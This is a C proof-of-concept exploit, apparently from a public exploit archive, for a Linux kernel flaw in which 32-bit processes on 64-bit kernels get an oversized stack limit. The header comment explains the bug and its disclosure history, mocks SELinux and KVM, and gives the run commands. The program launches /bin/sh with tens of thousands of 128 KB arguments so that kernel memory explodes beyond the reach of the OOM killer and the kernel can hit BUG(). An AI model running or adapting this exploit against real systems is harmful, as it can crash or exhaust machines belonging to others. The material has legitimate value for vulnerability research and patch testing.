Source: http://www.securityfocus.com/bid/44301/info /* known for over a year, fixed in grsec bug is due to a bad limit on the max size of the stack for 32bit apps on a 64bit OS. Instead of them being limited to 1/4th of a 32bit address space, they're limited to 1/4th of a 64bit address space -- oops! in combination with vanilla ASLR, it triggers a BUG() as the stack tries to expand around the address space when shifted Below mmap_min_addr you say? uh oh! ;) Reported to Ted Tso in December 2009 Linus today (Aug 13 2010) silently fixes tangential issue: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=320b2b8de12698082609ebbc1a17165727f4c893 The second bug here is that the memory usage explodes within the kernel from a single 128k allocation in userland The explosion of memory isn't accounted for by any task so it won't be terminated by the OOM killer curious what actual vuln was involved that they were trying to silently fix, as I don't think it's the one below clobbering data in a suid app by growing the stack into the mapping for the image? ;) I smell privesc...mumblings of X server/recursion ulimit -s unlimited ./64bit_dos SELinux is here to save us though with its fine-grained controls! Wait, it doesn't? Clearly the solution is to throw a buggy KVM on top of it Not enough? Ok, we'll throw in an extra SELinux, that'll really throw those hackers off when they use the same exact exploit on the host as they do on the guest! COMMON CRITERIA HERE I COME! */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/personality.h> #define NUM_ARGS 24550 int main(void) { char **args; char *str; int i; /* not needed, just makes it easier for machines with less RAM */ personality(PER_LINUX32_3GB); str = malloc(128 * 1024); memset(str, 'A', 128 * 1024 - 1); str[128 * 1024 - 1] = '\0'; args = malloc(NUM_ARGS * sizeof(char *)); for (i = 0; i < (NUM_ARGS - 1); i++) args[i] = str; args[i] = NULL; execv("/bin/sh", args); printf("execve failed\n"); return 0; }